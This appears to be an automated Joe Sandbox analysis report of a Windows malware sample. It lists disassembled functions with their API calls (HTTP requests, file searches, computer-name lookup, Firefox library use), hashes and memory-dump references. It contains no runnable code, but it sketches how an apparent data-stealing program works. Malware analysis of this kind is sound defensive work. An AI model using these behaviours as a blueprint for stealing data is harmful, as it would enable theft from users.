String ID:
API String ID: 941982115-0
Opcode ID: 900a522131b775be824c3d457e1d3b3f1995bf91b84c994208af5ea2bf8008e7
Instruction ID: 4a58c7fc46ffc32fd8fe61cce471bc2b95067587c8d8308f69f102b21284f219
Opcode Fuzzy Hash: 900a522131b775be824c3d457e1d3b3f1995bf91b84c994208af5ea2bf8008e7
Instruction Fuzzy Hash: 4BF08230D48319AFEB50ABA0DD16BBD7B35FB04701F14851BF903A53C1DBB05541E69A

Function 006C47B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63stringnetworkCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 006C4839
InternetCrackUrlA.WININET(00000000,00000000), ref: 006C4849

Strings

<, xrefs: 006C47C9

Memory Dump Source

Source File: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2374886732.00000000006C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000745000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID: <
API String ID: 1274457161-4251816714
Opcode ID: b4aecaba17b33d8e66dae45ba02d1b5fcf2873c76b997061647b1dbdabea3ff8
Instruction ID: d9390f554795323139cc75a26fba3fd6e8f7561725e741d54d1d001e8c24c5fb
Opcode Fuzzy Hash: b4aecaba17b33d8e66dae45ba02d1b5fcf2873c76b997061647b1dbdabea3ff8
Instruction Fuzzy Hash: E4215BB1D00209ABDF10DFA5EC45ADE7B75FB45320F108629F925A7291EB706A0ACB81

Function 006D51F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50COMMON

Download Yara Rule

APIs

Part of subcall function 006DA7A0: lstrcpy.KERNEL32(?,00000000), ref: 006DA7E6

Part of subcall function 006C6280: InternetOpenA.WININET(006E0DFE,00000001,00000000,00000000,00000000), ref: 006C62E1
Part of subcall function 006C6280: StrCmpCA.SHLWAPI(?,013EE5B0), ref: 006C6303
Part of subcall function 006C6280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 006C6335
Part of subcall function 006C6280: HttpOpenRequestA.WININET(00000000,GET,?,013EDBF0,00000000,00000000,00400100,00000000), ref: 006C6385
Part of subcall function 006C6280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 006C63BF
Part of subcall function 006C6280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 006C63D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 006D5228

Strings

ERROR, xrefs: 006D5273
ERROR, xrefs: 006D521A

Memory Dump Source

Source File: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2374886732.00000000006C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000745000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: d7e9d56f0fcd4dc54034c836ff8046e8dff632c85aee655c8b14f5396df1f7c8
Instruction ID: d6f4567fd22a257fcbae354467192722b5f8073a89ec3b6ca3ab66747720b30d
Opcode Fuzzy Hash: d7e9d56f0fcd4dc54034c836ff8046e8dff632c85aee655c8b14f5396df1f7c8
Instruction Fuzzy Hash: B9113070D14148ABCB54FFA1DD52EED733AAF50300F80415DF80B4A692EF30AB0AD699

Function 006D4F40 Relevance: 5.1, APIs: 4, Instructions: 70stringCOMMON

Download Yara Rule

APIs

Part of subcall function 006D8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 006D8E0B

lstrcat.KERNEL32(?,00000000), ref: 006D4F7A
lstrcat.KERNEL32(?,006E1070), ref: 006D4F97
lstrcat.KERNEL32(?,013E8A10), ref: 006D4FAB
lstrcat.KERNEL32(?,006E1074), ref: 006D4FBD

Part of subcall function 006D4910: wsprintfA.USER32 ref: 006D492C
Part of subcall function 006D4910: FindFirstFileA.KERNEL32(?,?), ref: 006D4943

Part of subcall function 006D4910: StrCmpCA.SHLWAPI(?,006E0FDC), ref: 006D4971
Part of subcall function 006D4910: StrCmpCA.SHLWAPI(?,006E0FE0), ref: 006D4987
Part of subcall function 006D4910: FindNextFileA.KERNEL32(000000FF,?), ref: 006D4B7D
Part of subcall function 006D4910: FindClose.KERNEL32(000000FF), ref: 006D4B92

Memory Dump Source

Source File: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2374886732.00000000006C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000745000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Find$File$CloseFirstFolderNextPathwsprintf
String ID:
API String ID: 2667927680-0
Opcode ID: f1fde6f44146bafa3ee90c741745c7ad9fdc3fecefbe0868aea68f784b6ef7cc
Instruction ID: e8154f709dc4b1bdb9c94cc539663995a07cfaced147f62fc2e9ab0f25108739
Opcode Fuzzy Hash: f1fde6f44146bafa3ee90c741745c7ad9fdc3fecefbe0868aea68f784b6ef7cc
Instruction Fuzzy Hash: 132106B69143086FC790FBA0DC46EED333EAB44300F00454DB68997182EE709AC88BD6

Function 006D0740 Relevance: 4.7, APIs: 3, Instructions: 217COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,013E8A00), ref: 006D079A
StrCmpCA.SHLWAPI(00000000,013E8B30), ref: 006D0866
StrCmpCA.SHLWAPI(00000000,013E8AD0), ref: 006D099D

Part of subcall function 006DA7A0: lstrcpy.KERNEL32(?,00000000), ref: 006DA7E6

Memory Dump Source

Source File: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2374886732.00000000006C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000745000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: 73f0dbc205a54566bedf64c20a34079b8e7d387ca310da05e793f5a552583f34
Instruction ID: c4b299db83d1291f154c73ddc0eacda4fe22505dddb63bb2bcdb4c3ba12480fa
Opcode Fuzzy Hash: 73f0dbc205a54566bedf64c20a34079b8e7d387ca310da05e793f5a552583f34
Instruction Fuzzy Hash: 8E916475A102489FCB68EFA4D991FED77B6EF95300F40851DE80A8F341DA309A06CB96

Function 006D0765 Relevance: 4.7, APIs: 3, Instructions: 197COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,013E8A00), ref: 006D079A
StrCmpCA.SHLWAPI(00000000,013E8B30), ref: 006D0866
StrCmpCA.SHLWAPI(00000000,013E8AD0), ref: 006D099D

Part of subcall function 006DA7A0: lstrcpy.KERNEL32(?,00000000), ref: 006DA7E6

Memory Dump Source

Source File: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2374886732.00000000006C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000745000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID:
API String ID: 3722407311-0
Opcode ID: 6b6db4fc858a1db13222c52186d1bedab7f452a1a96268c3bfc2b740c1444395
Instruction ID: 38f17b360d4e9477251dfcf2e508a8620a1e7616228675f3da63debb9ea3f8c2
Opcode Fuzzy Hash: 6b6db4fc858a1db13222c52186d1bedab7f452a1a96268c3bfc2b740c1444395
Instruction Fuzzy Hash: 20815275A102489FCB58EFA4C991EEDB7B7FF95300F50851DE8099F351DA30AA06CB86

Function 006D78E0 Relevance: 4.5, APIs: 3, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 006D7910
RtlAllocateHeap.NTDLL(00000000), ref: 006D7917
GetComputerNameA.KERNEL32(?,00000104), ref: 006D792F

Memory Dump Source

Source File: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2374886732.00000000006C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000745000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378307235.0000000000D6C000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateComputerNameProcess
String ID:
API String ID: 1664310425-0
Opcode ID: 650430491fa77da6681c2a8b41a4d854ab66ca706cf8bee58c7e46d0c7a68b7b
Instruction ID: fb71fabd47fbaab3818836f8f496b56187025a037abde5999bfd5802d6b8eb01
Opcode Fuzzy Hash: 650430491fa77da6681c2a8b41a4d854ab66ca706cf8bee58c7e46d0c7a68b7b
Instruction Fuzzy Hash: 5E0162B1948308EFC700DF99DD45BAEBBB8F704B11F10421AE945E6380D37459008BE2

Function 6C653060 Relevance: 4.5, APIs: 3, Instructions: 36timeCOMMON

Download Yara Rule

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C653095

Part of subcall function 6C6535A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C6DF688,00001000), ref: 6C6535D5
Part of subcall function 6C6535A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C6535E0
Part of subcall function 6C6535A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C6535FD
Part of subcall function 6C6535A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C65363F
Part of subcall function 6C6535A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C65369F
Part of subcall function 6C6535A0: __aulldiv.LIBCMT ref: 6C6536E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C65309F

Part of subcall function 6C675B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C6756EE,?,00000001), ref: 6C675B85
Part of subcall function 6C675B50: EnterCriticalSection.KERNEL32(6C6DF688,?,?,?,6C6756EE,?,00000001), ref: 6C675B90
Part of subcall function 6C675B50: LeaveCriticalSection.KERNEL32(6C6DF688,?,?,?,6C6756EE,?,00000001), ref: 6C675BD8
Part of subcall function 6C675B50: GetTickCount64.KERNEL32 ref: 6C675BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C6530BE

Part of subcall function 6C6530F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C653127
Part of subcall function 6C6530F0: __aulldiv.LIBCMT ref: 6C653140

Part of subcall function 6C68AB2A: __onexit.LIBCMT ref: 6C68AB30

Memory Dump Source

Source File: 00000000.00000002.2401745073.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2401721984.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401802054.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401828364.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2401849801.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 0e0cdc154a02b5a123ad75d305439fadaf1b84d046cf834c0b44f7394be4601c
Instruction ID: 7e821f3c6f95d7c1e9a327f8a3053eed9933defdbf171d57371cc51e0863054d
Opcode Fuzzy Hash: 0e0cdc154a02b5a123ad75d305439fadaf1b84d046cf834c0b44f7394be4601c
Instruction Fuzzy Hash: 48F0D612D2078896CB10DF7588911A6B370AF6F114F545729F84463A61FB2071E883DE

Function 006D9470 Relevance: 4.5, APIs: 3, Instructions: 29COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,?), ref: 006D9484
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 006D94A5
CloseHandle.KERNEL32(00000000), ref: 006D94AF

Memory Dump Source

Source File: 00000000.00000002.2375595844.00000000006C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006C0000, based on PE: true

Associated: 00000000.00000002.2374886732.00000000006C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000071A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000745000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000074F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000752000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000771000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000077D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007A2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.00000000007DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000865000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2375595844.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.000000000091E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000AA8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000B8A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BAF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BB7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2377882909.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378179494.0000000000BC7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2378292500.0000000000D6B000.00000040.00000001.01000000.00000003.sdmpDownload File
